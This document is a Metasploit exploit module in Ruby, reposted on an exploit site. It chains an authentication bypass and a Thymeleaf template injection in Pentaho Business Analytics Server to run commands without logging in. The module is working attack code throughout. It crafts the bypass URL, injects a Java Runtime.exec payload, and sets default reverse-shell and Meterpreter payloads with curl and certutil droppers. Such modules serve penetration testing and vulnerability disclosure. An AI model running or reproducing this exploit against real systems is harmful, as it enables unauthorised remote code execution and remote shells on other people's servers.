Pentaho Business Server Authentication Bypass / SSTI / Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pentaho Business Server Auth Bypass and Server Side Template Injection RCE',
        'Description' => %q{
          Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x is
          vulnerable to an authentication bypass (CVE-2022-43939) and a Server Side Template Injection (SSTI) vulnerability
          (CVE-2022-43769) that can be chained together to achieve unauthenticated code execution as the user
          running the Pentaho Business Analytics Server.

          The first vulnerability (CVE-2022-43939) is an authentication bypass which stems from a regex that allows any
          URL that ends in "/", followed by "require", optionally "-js" or "-cfg", any character, and then the string
          "js" followed optionally by "?" and then any characters of the attacker's choice.

          The second (CVE-2022-43769) is a server side
          template injection. This vulnerability allows RCE by making a GET request to /api/ldap/config/ldapTreeNodeChildren and
          setting the url parameter to ThymeLeaf template code. By abusing the ability to execute arbitrary Java classes within
          Thymeleaf templates, an attacker can execute arbitrary commands as the user running the Pentaho Business Analytics Server.
        },
        'Author' => [
          'Harry Withington', # Discovery
          'dwbzn', # PoC
          'jheysel-r7' # Module
        ],
        'References' => [
          ['URL', 'https://github.com/dwbzn/pentaho-exploits/blob/main/cve-2022-43769.py'], # POC
          ['URL', 'https://research.aurainfosec.io/pentest/pentah0wnage/'], # Original writeup
          ['URL', 'https://support.pentaho.com/hc/en-us/articles/14455561548301'], # Advisory
          ['CVE', '2022-43769'], # RCE
          ['CVE', '2022-43939']  # Auth Bypass
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => ['win', 'unix'],
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => :curl,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => :certutil,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-04-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Base path', '/pentaho'])
      ]
    )
  end

  def check
    # This check method abuses the authentication bypass vulnerability CVE-2022-43939 to check exploitability. Due to a
    # bad regex in applicationContext-spring-security.xml endpoints that should not be accessible without authentication
    # are made accessible if the URL ends in "/", followed by "require", optionally "-js" or "-cfg", any character,
    # and then the string "js" followed optionally by "?" and then any characters of the attacker's choice.

    post_require_mixup = ['-cfg', '-js', ''].sample
    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js")
    )

    return Exploit::CheckCode::Unknown unless res

    if res.code == 200 && res.body == '{}'
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def win_target?
    target.platform.names.include?('Windows')
  end

  def execute_command(cmd, _opts = {})
    java_payload = <<~JAVA.gsub(/^\s+/, '').tr("\n", '')
      {T(java.lang.Runtime).getRuntime().exec(
        new String[]{ #{win_target? ? '"cmd.exe", "/c", ' : '"/bin/sh", "-c", '}'#{cmd.gsub("'", "''")}'}
        )
      }
    JAVA

    post_require_mixup = ['-cfg', '-js', ''].sample
    period_mixup = ['.', Rex::Text.rand_text_alphanumeric(1)].sample

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'ldap', 'config', 'ldapTreeNodeChildren', "require#{post_require_mixup}#{period_mixup}js"),
      'vars_get' => {
        'url' => "##{java_payload}",
        'mgrDn' => Rex::Text.rand_text_alphanumeric(1..24),
        'pwd' => Rex::Text.rand_text_alphanumeric(1..24)
      },
      'uri_encode_mode' => 'hex-all' # Needed to encode \ as %5C so we don't run into bad character issues that cause failure on server.
    )

    unless res
      fail_with(Failure::UnexpectedReply, 'No response from the server when attempting to exploit')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected response code:#{res.code}, when attempting to exploit")
    end

    unless res.body == 'false'
      fail_with(Failure::UnexpectedReply, "The response body from the exploit attempt indicates the attempt was
                                          unsuccessful. The response body should only contain 'false'. The response body
                                          returned was: '#{res.body}'")
    end
  end

  def exploit
    print_status('Attempting to exploit...')
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    end
  end
end

Copyright ©2024 Exploitalert.